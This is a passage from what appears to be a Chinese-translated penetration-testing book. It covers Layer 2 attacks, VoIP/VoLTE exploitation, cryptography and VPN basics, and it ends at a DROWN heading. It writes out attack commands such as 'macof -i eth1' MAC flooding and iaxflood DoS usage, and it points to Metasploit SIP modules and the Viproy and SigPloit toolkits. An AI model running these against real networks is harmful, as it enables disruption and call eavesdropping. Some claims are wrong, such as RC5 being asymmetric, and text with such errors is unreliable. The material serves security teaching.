在这种情况下,最初 CAM 包含两个地址及其端口信息。要从主机 A发送流量到主机 B,CAM 表中应包含有关主机 B的信息,但在此演示中并非如此。因此主机 A向所有主机发送 ARP 请求。主机发送有关其 MAC 地址和端口的信息。现在主机 A有关主机 B的信息并将其存储在 CAM 表中,如图所示:

最后,CAM 表包含有关主机的所有必需信息,包括目标主机。因此,从主机 A主机 B的流量应正常运行:

攻击者可以利用 CAM 表执行恶意活动。可以进行一种称为 CAM 溢出的攻击。换句话说,攻击者通过利用 CAM 表大小的最大限制来溢出 CAM 表。有许多可用的工具,其中之一是macof。假设 CAM 表已满载有所有信息。攻击者可以使用 macof 向交换机发送随机源 MAC 地址(每分钟最多 155,000 个 MAC 条目)来淹没交换机:

或者简单地使用macof -i eth1 2> /dev/null。为了防御 MAC 淹没,您需要使用端口安全限制接口上的 MAC 地址数量,如下图所示:

媒体访问控制安全

为了保护您的网络免受数据链路层攻击并提供总以太网链路安全,您可以使用媒体访问控制安全MACsec),它基于 802.1 AE 标准。MACsec 就像网络层的 IPsec 一样,它使用逐跳加密(GCM-AES-128)和网络节点之间的MACsec 密钥协商MKA)来提供完整性和保密性保护。因此,它加密了所有以太网数据包,但不会触及源和目的 MAC 地址。交换机到交换机模式下的 MACsec 与交换机到主机模式不同。第一个称为下行 MACsec,其中主机经过 802.1x 认证过程。第二个称为上行 MACsec。它可以在交换机上手动配置,也可以使用远程 RADIUS 服务器动态配置。以下图表显示了通信是加密的:

DHCP 攻击

DHCP 是基于 RFC 2131 的网络层协议,它使得可以动态分配 IP 地址给主机。为了为特定主机分配 IP 地址,需要以下四个必需的步骤:

  • DHCP 发现

  • DHCP 提供

  • DHCP 请求

  • DHCP 确认

DHCP 饥饿

在本章中,我们讨论了第 2 层攻击;我打赌你想知道为什么我们谈论了一个网络层协议(在我们的例子中是 DHCP)。答案很简单。攻击者可以执行我们所谓的 DHCP 饥饿攻击。攻击者使用伪造的 MAC 地址广播 DHCP 请求;这种攻击利用了 DHCP 服务器的地址空间。这种攻击可以使用简单的工具来完成,比如gobbler

Rogue DHCP 服务器

Rogue DHCP 服务器(可以是家用路由器或调制解调器)是攻击者在网络中实施的服务器,用于执行中间人攻击或嗅探网络流量。这种恶意服务器的实施让攻击者收集大量信息,包括 DNS 服务器信息和默认网关。为了防御 DHCP 攻击,您需要使用 DHCP 监听,这是一个用于识别响应 DHCP 请求端口的交换机功能。

ARP 攻击

地址解析协议ARP)是根据 RFC 826 标准将 IP 地址与其关联的 MAC 地址进行映射的协议。ARP 在许多操作系统中实现,包括 Linux。

您可以使用arp命令进行检查:

攻击者可以利用其缓存执行中间人攻击,使用诸如 Ettercap 之类的工具:

如果您已经使用 Kali Linux,还可以使用dsniff实用程序:

攻击者可以利用 ARP 协议的 IP/MAC 匹配能力将其 MAC 地址与合法 IP 地址进行映射。如果您使用 Kali Linux,可以直接从主菜单中使用它。

为了防御 ARP 攻击,最好使用动态 ARP 检查,检查数据包是否与绑定表条目匹配,否则数据包将被丢弃;但首先需要配置 DHCP 监听。

这是正常的 ARP 操作:

这是 ARP 欺骗攻击的示例:

VLAN 攻击

VLAN 是在同一广播域中对网络设备进行逻辑分组。这种逻辑分离在许多情况下非常有益。例如,如果我们有不同的地理位置,使用 VLAN 可能是将网络设备分组的好方法,即使它们在不同的地方,但它们就像一个广播域一样。这张图解说明了经典的交换架构;每个特定的企业部门都有一个特定的交换机:

以下图示了实施 VLAN 的有益结果。我们可以为许多不同的部门配置交换机:

交换操作发生在第 2 层,但当我们使用 VLAN 时,我们需要一个路由器(第 3 层)通过名为VLAN 间路由的操作使 VLAN 相互通信。VLAN 干线连接是需要的,通过为每个帧打上 VLAN ID,这是一个在 0 到 4095 之间的数字,来识别 VLAN。在这里,使用了干线协商,得益于动态干线协议DTP):

当交换机和路由器支持 VLAN 时,可以实现 VLAN。这意味着它们支持干线协议,如交换机间链路ISL),这是 Cisco 专有的,以及 IEEE 802.1q。如果交换机支持干线,它被称为受管交换机

VLAN 的类型

有许多种类型的 VLAN。其中两种如下:

  • 本地 VLAN 或未标记的 VLAN:如果主机向交换机端口发送流量而没有指定 VLAN ID,则流量将被分配给未标记的 VLAN

  • 标记的 VLAN:当数据包被标记为 VLAN ID 时使用

VLAN 配置

要在交换机上配置 VLAN,您需要遵循这个配置:

  • 第一个 VLAN:
switch#configure terminal
switch(config)#vlan 10
switch(config-vlan)#exit
switch(config)#
  • 第二个 VLAN:
switch#configure terminal
switch(config)#vlan 20
switch(config-vlan)#exit
switch(config)#
  • 分配端口:
switch#configure terminal
switch(config)#interface FastEthernet 0/1
switch(config-if)#switchport mode access
switch(config-if)#switchport access vlan 10
 switch#configure terminal
switch(config)#interface range FastEthernet 0/2 - 8
switch(config-if-range)#switchport mode access
switch(config-if-range)#switchport access vlan 10

VLAN 跳跃攻击

VLAN 跳跃攻击基于 DTP。DTP 的主要作用是自动配置 802.1q 或 ISL 干线:

交换机欺骗

在这种攻击中,攻击者通过模拟 ISL 或 802.1q 并与 DTP 进行信令来模拟交换机。因此,它看起来像一个带干线端口的交换机,因此它将可以访问所有的 VLAN。

VLAN 双标记

这种攻击有时被称为双 802.1q 封装攻击,它是通过发送 802.1q 双封装帧来完成的。一般来说,交换机一次只执行一次解封操作。因此,它们将剥离第一个并发送第二个。这种攻击只有在攻击和目标在同一个 VLAN 上时才可能发生,即使干线端口关闭:

私有 VLAN 攻击

我们在前面的部分中看到,VLAN 将 LAN 划分为广播域。私有 VLANPVLAN)也是 VLAN 的子域,有隔离的子域,如子 VLAN。

VLAN 需要一个第 3 层设备,如路由器,来相互通信,PVLAN 也需要路由器来通信,但主机仍然在同一个 IP 子网中。我们有三个 PVLAN 端口:

  • 混杂(P):连接到路由器

  • 隔离(I):连接到主机

  • 社区(C):连接到其他社区端口

攻击者可以通过发送带有他们的 IP 和 MAC 地址以及目标 IP 地址的帧来攻击 PVLANs:

生成树协议攻击

生成树协议STP)是由 Radia Perlman 于 1985 年开发的,用于解决以太网环路的问题,但在深入研究 STP 之前,让我们回到这个问题的根本原因。如果广播风暴发生,您将失去网络可用性。当以太网环路发生时,就会发生这种情况。举个简单的例子,在下图中,我们有三个连接的交换机。如果一个交换机向其他两个交换机发送广播,它们将通过所有端口接收并转发它,因为它们找不到地址。此外,它们将进入一个重复的循环,称为广播风暴

这样,STP 似乎解决了这个网络问题,通过阻塞冗余路径,得益于基于 IEEE 802.1d 标准的生成树算法STA),它确保两个站点之间只有一条路径可用:

但是在使用 STP 时要阻塞哪些端口呢?在 STP 中,有五种类型的端口:

  • 学习端口:这个端口学习 MAC 地址但不转发帧

  • 监听端口:这个端口不学习 MAC 地址或转发它们

  • 丢弃端口:这个端口不转发数据

  • 转发端口:这个端口学习 MAC 地址并转发数据

  • 禁用端口:这个端口不需要解释

以下工作流描述了 STP 中端口的各个阶段:

STP 执行以下三个步骤以实现其目标:

  • 根桥选举:交换机并不是非常智能的设备。因此,默认情况下,网络中的每个交换机都声称自己是根桥,即控制拓扑的主要交换机。为了选择根桥,所有交换机发送它们的桥 IDBID),这是桥优先级和 MAC 地址之间的 8 个字节的组合;默认情况下,它是 32,768。具有最小 BID 的交换机被选为根桥。

  • 选择根端口:这个选择是基于一个简单的选择标准,即最低成本的桥接协议数据单元BPDU)。因此,接收到最低 BPDU 的端口将成为根端口。

  • 选择指定端口:指定端口是其他交换机端口(已阻塞)。

攻击 STP

攻击者可以利用 STP 来攻击网络。其中一种黑客技术是在干线端口实施一个虚假交换机,并通过配置这个虚假交换机并赋予它最低的 ID 来操纵生成树优先级,从而成为根桥。因此,所有流量将通过这个交换机传输,然后它将嗅探所有流量或重定向流量。

为了防御 STP 攻击,您需要在所有未指定为根端口的交换机端口上启用根守卫:

Switch1(config)# interface gigabitethernet 0/1
Switch1(config-if)# spanning-tree guard root

总结

本章是关于如何利用第 2 层漏洞来妥协网络的有用解释。下一章将是一个深入的学习体验,解释如何利用 VoIP 系统。

第九章:VoIP 利用

IP 电话VoIP)正在将商业通信推向新的效率和生产力水平。基于 VoIP 的系统每天都面临安全风险。尽管许多公司都在关注 VoIP 的服务质量,但他们忽视了 VoIP 基础设施的安全方面,使其容易受到危险攻击。本章将使用逐步指导解决大多数 VoIP 安全问题。

在本章中,我们将涵盖以下主题:

  • VoIP 协议

  • VoIP 攻击

  • VoLTE 攻击

  • 如何防御 VoIP 攻击

VoIP 基础知识

为了学习如何对 VoIP 进行渗透测试,我们需要清楚地了解 VoIP 基础设施的实际运作方式。我们将剖析 VoIP 协议,以便后来学习如何攻击 VoIP 系统。以下各小节是一些使语音和视频通信成为可能的知名标准。让我们逐一探讨它们。

H.323

H.323 是由国际电信联盟标准化部门ITU-T)引入的 IP 标准。正如你所看到的,这个标准化机构使用字母来定义基于许多标准的范围,列在这里:

  • H:用于音频视觉和多媒体系统

  • G:用于传输系统和媒体

  • Q:用于交换和信令

  • T:用于远程服务的终端

H.323 是最古老的基于数据包的通信系统协议之一。因此,这个协议是稳定的。当前版本是 v6。它被许多供应商在许多产品中广泛使用,如思科呼叫管理器、NetMeeting 和 RadVision。

H.323 使用许多类型的设备:

  • 终端:这些是用户设备,如 IP 电话和视频会议系统。

  • 多点控制单元:由两个逻辑组件组成——多点控制器MC)和多点处理器MP)。它们的作用是管理多点会议。

  • 网关控制器:这是可选的。网关控制器提供一些额外的服务,如用户认证和地址解析。

H.323 堆栈基于以下组件:

  • IPv4 网络层

  • 用户数据报协议层

  • 实时协议

  • 信令协议

  • 呼叫前设置

  • 视频编解码器

  • 音频编解码器

  • 数据

以下图表说明了 H.323 堆栈的不同组件:

Skinny 呼叫控制协议

Skinny 呼叫控制协议SCCP),由 Selsius 开发,是思科专有的协议。它被称为 skinny 是因为它是一种轻量级协议,用于 IP 电话和呼叫管理器的通信。这种通信使用以下不同类型的消息:

  • 0001RegisterMessage

  • 0002IPportMessage

  • 0081RegisterAckMessage

这些消息遵循以下格式:

以下截图是从使用 Wireshark 的 Skinny 捕获中获取的,从 Wireshark 网站下载:

RTP/RTCP

实时协议RTP)是一种传输协议,特别是基于 RFC 3550 的UDP。它用于实时多媒体应用程序和端到端实时数据流传输。为了实现这一点,例如,视频经历了许多步骤:

  1. 编码

  2. 封包

  3. 传输控制

  4. 重组

  5. 解码

尽管 RTP 被指定用于传输媒体流,但还有另一个与 RTP 一起工作的协议,称为实时控制协议RTCP)。这个协议与 RTP 并行工作,监视传输并确保服务质量QoS)。RTCP 的目的是检查在过程中是否有数据包丢失。

安全实时传输协议

安全实时传输协议(SRTP)是基于 RFC3711 的应用协议。SRTP 提供了增强的安全功能;因此,它通过使用密钥流进行异或运算来加密 RTP 从而保护 RTP。所使用的算法是 AES,主密钥称为 SRTP MKI。下图说明了普通 RTP 包和安全 RTP 包之间的区别。Auth 字段包含消息认证码。这些技术提供了反重放机制来保证语音流量的完整性:

H.248 和媒体网关控制协议

媒体网关控制协议MGCP)是由思科开发的协议。MGCP 的目标是处理信号和会话管理。它是媒体网关控制器和媒体网关之间的通信机制。因此,控制是集中的。换句话说,控制器与许多媒体网关进行通信。控制器还监督终端并在其区域注册新终端。H.248 也像 H.323 一样,是一个基于 ITU 的协议。它是 MGCP 的增强版本。正如你在图表中看到的,MGCP 是一种主从协议:

会话初始协议

会话初始协议SIP)是基于 RFC 3261 协议的会话管理协议。它可以在 UDPTCP 上运行,也支持 TLS。它比 H323 更具可扩展性。SIP 在以下五个步骤中处理呼叫:

  1. 用户位置

  2. 用户可用性

  3. 用户能力

  4. 会话建立

  5. 会话管理

要开始 SIP 操作,用户需要进行注册:

以下图表描述了建立两个用户代理客户端之间连接所需的步骤:

SIP 请求类似于 HTTP 请求。它们的格式如下:

METHOD URI SIP/X.X

头部: XXX

这里,方法是请求类型,我们有以下六种方法:

  • 注册

  • 邀请

  • ACK

  • 取消

  • 选项

  • 再见

SIP 回复请求需要以下格式:

SIP/X.X  <状态代码> 描述

头部: XXX

  • URI: 文件标识

  • SIP/X.X: SIP 版本

  • 头部: 这包含了有关接收者的信息(To, From, Call-ID 是一些 SIP 头部字段)

以下是可能的状态代码:

  • 1xx: 信息

  • 2xx: 成功

  • 3xx: 重定向

  • 4xx: 失败

  • 5xx: 服务器错误

  • 6xx: 全局失败

VoIP 开发

现在,在对 VoIP 中发挥重要作用的主要协议有了清晰的理解之后,是时候学习如何渗透 VoIP 基础设施了。与任何其他渗透测试一样,要利用 VoIP 基础设施,我们需要按照一系列步骤进行战略性操作。

在攻击任何基础设施之前,我们已经了解到我们需要在利用之前进行足迹、扫描和枚举,这正是我们将要对 VoIP 进行的操作。为了进行 VoIP 信息收集,我们需要尽可能收集有关目标的有用信息。首先,你可以在网上进行简单的搜索。例如,招聘公告可能是一个有价值的信息来源。例如,以下工作描述让攻击者对 VoIP 有了一个大致的了解:

之后,攻击者可以搜索可能存在的漏洞来尝试利用特定系统。搜索电话号码也可能是一个明智的举措,以了解目标的语音信箱,因为每个供应商都有一个默认的语音信箱。如果管理员没有更改它,收听语音信箱可以让你了解目标。如果你想查看一些默认语音信箱,请查看 www.hackingvoip.com/voicemail.html。这是一个学习 VoIP 黑客攻击的绝佳资源。

谷歌黑客是一种搜索信息和在线门户的神奇技术。我们在前几章中讨论了使用 Dorks 进行谷歌黑客。以下演示是这个谷歌 Dork 的输出——在 URL 中:网络配置 Cisco:

你可以使用 Shodan.io 搜索引擎找到连接的 VoIP 设备:

VoIP 设备通常连接到互联网。因此,它们可以被外部人员访问。它们可以通过其 Web 界面暴露出来;这就是为什么有时候留下安装文件暴露出来可能是危险的,因为使用搜索引擎可能会导致对门户进行索引。以下截图是从在线 Asterisk 管理门户获取的:

这个截图是从一个暴露的网站的配置页面获取的,使用一个简单的搜索引擎查询:

从攻击者的角度收集有关目标的有价值信息后,我们通常应该执行扫描。在这个阶段进行扫描是必要的,使用前几章讨论的扫描技术。进行主机发现和 Nmap 扫描是扫描基础设施以搜索 VoIP 设备的好方法。

扫描可以带领我们发现 VoIP 服务。例如,我们在 Nmap 中看到了-sV选项来检查服务。在 VoIP 中,如果端口2000是开放的,那么它是 Cisco CallManager,因为 SCCP 协议使用该端口作为默认端口,或者如果有一个 UDP5060端口,那么它是 SIP。

-O Nmap 选项对于识别正在运行的操作系统可能是有用的,因为有很多 VoIP 设备正在运行特定的操作系统,比如 Cisco 嵌入式系统。

现在你知道该怎么做了。在足迹和扫描之后,我们需要枚举目标。正如你所看到的,当利用基础设施时,我们通常遵循相同的方法论步骤。

横幅抓取是枚举中众所周知的技术,枚举 VoIP 基础设施的第一步是开始横幅抓取。为了做到这一点,使用 Netcat 实用程序将有助于您轻松地抓取横幅,或者您可以简单地使用名为横幅的 Nmap 脚本:

nmap -sV --script=banner <target>

对于特定的供应商,有很多枚举工具可以使用;EnumIAX 就是其中之一。它是 Kali Linux 中的一个内置枚举工具,用于暴力破解 Inter-Asterisk Exchange 协议的用户名:

自动企业枚举器ACE)是 Kali Linux 中的另一个内置枚举工具:

svmap 是 Kali Linux 中的一个内置工具,用于识别 SIP 设备。输入 svmap -h,你将得到这个神奇工具的所有可用选项:

VoIP 攻击

到目前为止,你已经学会了执行 VoIP 足迹、扫描和枚举所需的技能。让我们来发现主要的 VoIP 攻击。VoIP 面临来自不同攻击向量的多重威胁。

拒绝服务

拒绝服务DoS)是对网络可用性的威胁。这种攻击在前几章中已经讨论过。对于 VoIP 来说,DoS 也可能是危险的,因为确保通话的可用性对现代组织至关重要。现在不仅是可用性,通话的清晰度也是当今的必需品。为了监控 VoIP 的 QoS,你可以使用许多工具;其中之一是 CiscoWorks QoS Policy Manager 4.1:

为了衡量 VoIP 的质量,有一些评分系统,比如平均意见分MOS)或基于几个参数(抖动、延迟和丢包)的 R 值。平均意见分的分数范围从 1 到 5(差到非常清晰),R 值的分数范围从 1 到 100(差到非常清晰)。以下截图是从 Wireshark 网站下载的 RTP 数据包分析中获取的:

你还可以分析 RTP 抖动图:

VoIP 基础设施可以受到经典的 DoS 攻击。我们之前看到了其中一些:

  • Smurf 洪水攻击

  • TCP SYN 洪水攻击

  • UDP 洪水攻击

DoS 攻击工具之一是iaxflood。它在 Kali Linux 中可用于执行 DoS 攻击。IAX代表Inter-Asterisk Exchange

打开 Kali 终端,输入iaxflood <Source IP> <Destination IP> <Number of packets>

VoIP 基础设施不仅可以受到先前的攻击,攻击者还可以使用模糊工具执行数据包分片和格式错误数据包来攻击基础设施。

窃听

窃听是最严重的 VoIP 攻击之一。它让攻击者接管您的隐私,包括您的通话。有许多窃听技术;例如,攻击者可以嗅探 TFTP 配置文件的网络,而这些文件包含密码。以下截图描述了对 TFTP 捕获的分析:

此外,攻击者可以收集电话号码并构建有效的电话号码数据库,记录所有的呼入和呼出电话。窃听并不止于此,攻击者可以录制您的通话,甚至知道您正在使用双音多频DTMF)输入什么。您可以使用此链接www.polar-electric.com/DTMF/上的 DTMF 解码器/编码器:

错误配置的互联网电话上的语音VOMIT)是一个将 Cisco IP 电话对话转换为 WAV 文件的实用程序。您可以从其官方网站vomit.xtdnet.nl/下载它:

SIP 攻击

另一种攻击技术是 SIP 伪装。我们可以执行两种类型的 SIP 伪装。从攻击者的角度来看,我们可以实现以下内容:

  • Rogue SIP B2BUA:在这种攻击技术中,攻击者模仿 SIP B2BUA:

  • SIP 伪装为代理:在这里,攻击者模仿 SIP 代理:

SIP 注册劫持

SIP 注册劫持是一个严重的 VoIP 安全问题。我们之前看到,在建立 SIP 会话之前,有一个注册步骤。注册可以被攻击者劫持。在 SIP 注册劫持攻击期间,攻击者通过拒绝服务(DoS)禁用正常用户,然后简单地发送带有自己 IP 地址的注册请求,而不是该用户的 IP 地址,因为在 SIP 中,消息是明文传输的,所以 SIP 不确保信令消息的完整性:

如果您是 Metasploit 爱好者,可以尝试许多其他 SIP 模块。通过输入msfconsole打开 Metasploit 控制台,并使用search SIP:搜索 SIP 模块。

要使用特定的 SIP 模块,只需输入use <module>。以下界面是 SIP 模块使用的示例:

互联网电话的垃圾邮件

互联网电话的垃圾邮件SPIT),有时被称为语音垃圾邮件,类似于电子邮件垃圾邮件,但它影响 VoIP。要执行 SPIT 攻击,可以使用名为spitter的生成工具。

嵌入恶意软件

恶意软件是 VoIP 基础设施的主要威胁。您不安全的 VoIP 终端可能会受到不同类型的恶意软件的攻击,如蠕虫和 VoIP 僵尸网络。

软电话也是攻击者的一个高度可能的目标。如果攻击者破坏了您的软电话,可能非常危险,因为如果攻击者利用它,他们可以破坏您的 VoIP 网络。恶意软件不是针对 VoIP 终端的唯一威胁。VoIP 固件是黑客的潜在攻击向量。固件黑客可能导致电话被破坏。

Viproy - VoIP 渗透测试工具包

Viproy VoIP 渗透测试工具包(v4)是一个 VoIP 和统一通信服务渗透测试工具,由 Fatih Ozavci 在 2014 年 Black Hat Arsenal USA 上展示:

要下载此项目,请从其官方存储库克隆它,github.com/fozavci/viproy-voipkit:

git clone https://github.com/fozavci/viproy-voipkit.

以下项目包含许多模块,用于测试 SIP 和 Skinny 协议:

要使用它们,将libmodulesdata文件夹复制到系统中Metasploit文件夹中。

VoLTE 利用

Voice over LTE (VoLTE) 在 4G 网络上传输语音。其通话质量比其他 VoIP 变体更高,而且提供更好的覆盖范围。VoLTE 以及其他语音技术都面临来自攻击者的各种威胁。让我们开始探索 VoLTE 的基础知识,以便后来学习如何攻击它。长期演进 (LTE) 由 第三代合作伙伴计划 (3GPP) 在 2014 年开发。它是一个基于 IP 的分组交换网络。它使用两种模式——时分双工 (TDD) 和 频分双工 (FDD)。LTE 架构由以下三个主要组件组成:

  • 用户设备 (UE)

  • 演进的 UMTS 地面无线电接入网络 (E-UTRAN).

  • 演进分组核心 (EPC)

VoLTE 攻击

VoLTE 已被一些电信公司采用,如 AT&T 和 T-Mobile。许多研究都集中在试图利用 VoLTE 中涉及的通信协议。Sreepriya Chalakkal 的一篇研究论文介绍了针对 VoLTE 的几种攻击。以下是一些攻击:

  • 嗅探 VoLTE 接口

  • GSM SIM 中的暴露密钥

  • 用户位置操纵

  • 漫游信息操纵

  • 侧信道攻击

SiGploit – 电信信令利用框架

SiGploit 是一个安全框架,可帮助电信安全专业人员增强移动网络基础设施。要测试该项目,请从github.com/SigPloiter/SigPloit:克隆它

# git clone https://github.com/SigPloiter/SigPloit

要使用该工具,请转到bin目录并运行SiGsploit.py脚本:

摘要

在本章中,我们演示了如何利用 VoIP 基础设施。我们首先研究了 VoIP 中涉及的核心协议。然后,我们探讨了主要的 VoIP 攻击以及如何防御它们,以及渗透测试人员最常用的工具和实用程序。我们以概述一些针对 VoLTE 的最新攻击结束了本章。

第十章:不安全的 VPN 利用

虚拟私人网络VPN)在安全传输数据方面非常有用。VPN 可以实现信息安全,但仍然容易受到黑客的高风险。如果你想学习如何保护 VPN,本章将从密码学的基本知识开始,帮助你获得保护 VPN 所需的技能。

本章将涵盖以下主题:

  • 密码学

  • VPN 基础知识

  • 不安全的 VPN 利用

密码学

在密码学艺术中,我们有两种不同的科学:密码学和密码分析。密码学基于数学算法保护信息,而密码分析则处理密码系统创建的密文。这两种科学并存。简单来说,密码学处理隐藏信息,而密码分析则破解密码系统以揭示隐藏信息。密码学并不是一门新科学,它很古老。有一些经典的密码学技术,比如苏美尔楔形文字、埃及象形文字、斯塞塔利、维吉尼亚密码、凯撒密码和 ROT13 密码。

密码系统

加密技术的实施被称为密码系统;有时也被称为密码系统。以下图表描述了一个简单的密码系统。发送者使用加密算法对明文进行加密,这是一个使用加密密钥的数学过程。该操作的输出生成一个密文,接收者将使用解密算法和解密密钥对其进行解密,使密文可读为明文:

密码

密码是加密的消息。密码可能会被攻击者拦截。我们有两种主要类型的密码:经典和现代。让我们逐一发现它们。

经典密码

这种类型存在于计算机时代之前,有以下两个分支:

  • 置换:它使用排列。明文被重新排列成另一种格式。字符仍然相同,但位置不同。

  • 替换:它使用字符替换,换句话说,用另一个字符替换一个字符,比如用M替换O。替换算法应该由发送者和接收者知道。ROT13 和凯撒密码是替换密码的两个例子。

ROT13 是一种替换密码,其中明文中字符的位置向后移动了 13 个位置。因此,如果明文是HELLO,那么密文应该是URYYB,如下所示:

凯撒密码是由朱利叶斯·凯撒使用的替换密码,其中明文消息的每个字符都向前移动了预定义的位置数。举个例子,假设移动的数字是2,那么HELLO的密文将是JGNNQ,如下所示。这种密码很容易被破解,你可以尝试最多 25 次移位,直到找到可读的文本:

现代密码

现代密码再次分为两种类型:

  • 分组密码:这些按块处理信息。每个块将分别进行加密和解密。数据加密标准DES)是最常用的分组密码之一,基于费斯特尔密码,由 IBM 研究员 Horst Feistel 开发,试图构建实现克劳德·香农的替换-置换S-P)网络的理想分组密码结构。以下图表说明了费斯特尔结构:

  • 流密码:这些按位或按字节处理信息,在加密和解密中。例如,要加密一条消息,会使用一个与消息大小相同的种子密钥生成一个密钥流,然后进行加密。以下图表说明了两种密码类别:

克尔克霍夫密码系统原则

为了检查您是否拥有一个良好和安全的加密系统,一位名为奥古斯特·克克霍夫的荷兰密码学家提出了一套用于设计安全加密系统的法律和原则。这些文章发表在 1883 年的一篇文章中,军事密码学。如果您想阅读完整的文本,请查看奥古斯特·克克霍夫,《军事密码学》,《军事科学杂志》,第九卷,第 5-38 页 II,军事密码学的 Desiderata,1883 年 1 月。克克霍夫的密码系统六原则如下:

以下是六个原则的英文翻译:

  • 加密系统在实际上应该是不可破解的,即使在数学上不可破解

  • 加密系统落入入侵者手中不应导致系统的任何妥协,从而不会给用户带来任何不便

  • 密钥应该易于传达、记忆和更改

  • 密文应该可以通过电报传输,这是一个不安全的渠道

  • 加密设备和文件应该是便携的,并且可以由一个人操作

  • 最后,系统必须易于使用,既不需要精神紧张,也不需要长串规则的知识来遵守

加密系统类型

在加密系统方面,我们有基于加密-解密密钥的两个主要类别——对称和非对称加密系统。如果系统同时使用相同的密钥进行加密和解密,那么它将是一个对称加密系统,否则,加密系统是非对称的,因为加密中使用的密钥与解密中使用的密钥不同。

对称加密系统

各种类型的对称加密系统如下:

  • 数据加密标准(DES):这是由 IBM 开发的。它最初是 Lucifer 加密,后来由国家标准与技术研究所NIST)发布。这种加密使用 56 位密钥:

轮函数在以下工作流程中描述:

密钥生成使用以下工作流程完成:

初始和最终置换由两个逆置换盒(P 盒)完成:

  • 三重 DES(3DES):这种加密是 DES 的增强版本。它使用 168 位密钥,因为用户生成三个密钥,k1、k2 和 k3。第一个密钥 k1 用于加密单个 DES。第二个密钥 k2 用于解密第一步的输出。最后一个密钥 k3 用于加密上一步的单个 DES:

  • 高级加密标准(AES):AES 是 DES 的替代品。它更快(大约快六倍)和更强大。它使用 Rijndael 密码:

  • Rivest Cipher 5 (RC5):这是由麻省理工学院教授罗纳德·里维斯特开发的非对称加密系统。RC5 由以下三个主要组成部分组成:

  • 密钥扩展算法

  • 加密算法:

    • 解密算法:

RC6 是从 RC5 派生而来,块大小为 128 位,密钥大小灵活。

非对称加密系统

以下是非对称加密系统的算法:

  • Rivest-Shamir-Adleman(RSA):RSA 是互联网上最广泛使用的加密系统之一。它是由麻省理工学院的 Ron Rivest、Adi Shamir 和 Leonard Adleman 开发的。在使用 RSA 时,将生成一对密钥,即私钥和公钥。

  • Diffie-Hellman 密钥交换:Diffie-Hellman 密钥交换是一种在此操作期间创建密钥而无需共享和交换信息的方法。

基本思想是这样的:

    1. 选择两个素数,gp
  1. 计算ga mod p并发送输出

  2. 另一个键计算gb mod p并发送输出B

  3. 计算Ba mod p

  4. 另一个键上的相同计算Ab mod p

  • El Gamal:El Gamal 是基于 Diffie-Hellman 密钥交换的加密系统

哈希函数和消息完整性

哈希函数是数学函数,它接受任意大小的输入字符串,并生成固定大小的输出,称为哈希值或消息摘要。一个好的哈希函数

应该容易计算哈希;计算给定的明文将非常困难

哈希,对于两个不同的输入,它不会生成相同的哈希,除非在罕见情况下。

现在有许多知名的哈希函数;它们如下:

  • 散列消息认证码

  • 消息摘要MD2

  • 消息摘要MD4

  • 消息摘要MD5),如果您想加密或解密明文,可以使用md5decrypt.net/en/如下所示:

  • 安全哈希算法SHA

  • Whirlpool

  • HAVAL

  • RIPEMD

数字签名

数字签名的主要目标是验证消息或文档的真实性和完整性。您可以将其视为电子指纹。以下图表显示了签署文件的步骤:

隐写术

隐写术是将消息隐藏在人类可读的媒介中的艺术,如图像文件、视频、文本等。这些变化在视觉上应该是不可察觉的,以掩盖承载文件后面的消息。隐写术有两种类型:

  • 文本隐写术:

  • 行移编码

  • 词移编码

  • 特征编码

  • 图像隐写术:

  • 最低有效位LSB):在 8 位图像的每个像素中隐藏 1 位数据,在 24 位图像的每个像素中隐藏 3 位数据。您可以使用steglsb执行 LSB 隐写术:

    • 扩频图像隐写术(SSIS)
  • F5 算法

密钥管理

密钥管理是保护加密密钥的过程。为了确保这种保护,必须维护一个生命周期,如下所示:

  • 密钥创建

  • 密钥保护和监管

  • 密钥轮换

  • 密钥销毁

  • 密钥托管

密码攻击

为了检索信息的明文,攻击者和密码分析师使用了许多技术:

  • 穷举攻击(BFA):在此攻击期间,攻击者将尝试所有密钥组合以检索密钥

  • 字典攻击:在此攻击中,攻击者使用准备好的字典并尝试其中的单词

  • 生日攻击:在生日攻击中,攻击者使用哈希碰撞

  • 仅密文攻击(COA):在此攻击中,攻击者拥有密文,他只需要确定密钥

  • 已知明文攻击(KPA):攻击者使用我们称之为线性密码分析来从密码中检索缺失的明文,同时他知道密码的部分明文

  • 已选择明文攻击(CPA):攻击者在选择密文和明文后使用差分密码分析来检索密钥

  • 侧信道攻击(SCA):攻击者使用硬件攻击密码系统,利用功耗或 CPU 周期来利用密码系统物理实现的弱点

  • 时序攻击:攻击者分析加密算法的计算时间

  • 功率分析攻击:这与时序攻击相同,但攻击者分析的是功耗

  • 故障分析攻击:攻击者研究密码系统中的错误以收集更多信息

VPN 基础知识

当涉及信息技术时,加密在保护不同状态的信息方面发挥着重要作用。各种技术应用每天都在使用加密,如磁盘加密、电子邮件安全和通信。VPN 就是其中之一。按定义,VPN 是两个站点之间的逻辑网络。VPN 的流量是加密的。

在加密中,我们有以下两种模式:

  • 链路加密:在这种模式下,所有信息都被加密,消息应该在每一跳中解密。在这种情况下,路由器应该解密消息,以便了解路由信息,然后再次加密并转发到下一跳。

  • 端到端加密:在这种模式下,所需头部中的信息不被加密,因此路由器等不需要解密它们,因为路由信息是清晰的:

隧道协议

VPN 中使用的两种技术是 SSL 和Internet Protocol SecurityIPSec)。我们将详细和全面地讨论这两种技术,但现在让我们看看不同的隧道协议:

  • 点对点隧道协议PPTP

  • 第二层隧道协议L2TP

IPSec

IPSec 是一种协议套件,它能够在系统之间提供安全性,我所说的安全性是指信息安全第一章中讨论的三个基本支柱之一:保密性和完整性,以及身份验证和防重放保护。IPSec 使用以下两种协议:

  • 认证头(AH)协议:此协议用于对流量进行身份验证而不加密。使用哈希函数(MD5 或 SHA1)进行身份验证。

  • 封装安全载荷(ESP)协议:此协议也用于身份验证,但它也支持加密。

IPSec 在以下两种不同模式下运行:

  • 隧道模式:在这种模式下,整个数据包被封装并转发。它在 VPN 中被广泛使用。在原始 IP 头部上添加了一个新的 IP 头部。

  • 传输模式:这种模式用于系统之间的端到端加密。AH 头部被添加到 IP 头部中:

以下图示了两种不同的协议和不同的模式:

安全套接字层/传输层安全

安全套接字层SSL)是一种应用层协议。如果您在安全模式下使用现代浏览器,那么您的浏览器与 Web 服务器之间的连接将由 SSL 保护。更安全的 SSL 版本是传输层安全TLS)。如果网站由 SSL 证书保护,那么在您的 URL 栏中将出现 HTTPS 标志:

SLL/TLS 操作如下所示:

SSL 攻击

本节将讨论多年来发生的主要 SSL 攻击。

DROWN 攻击(CVE-2016-0800)

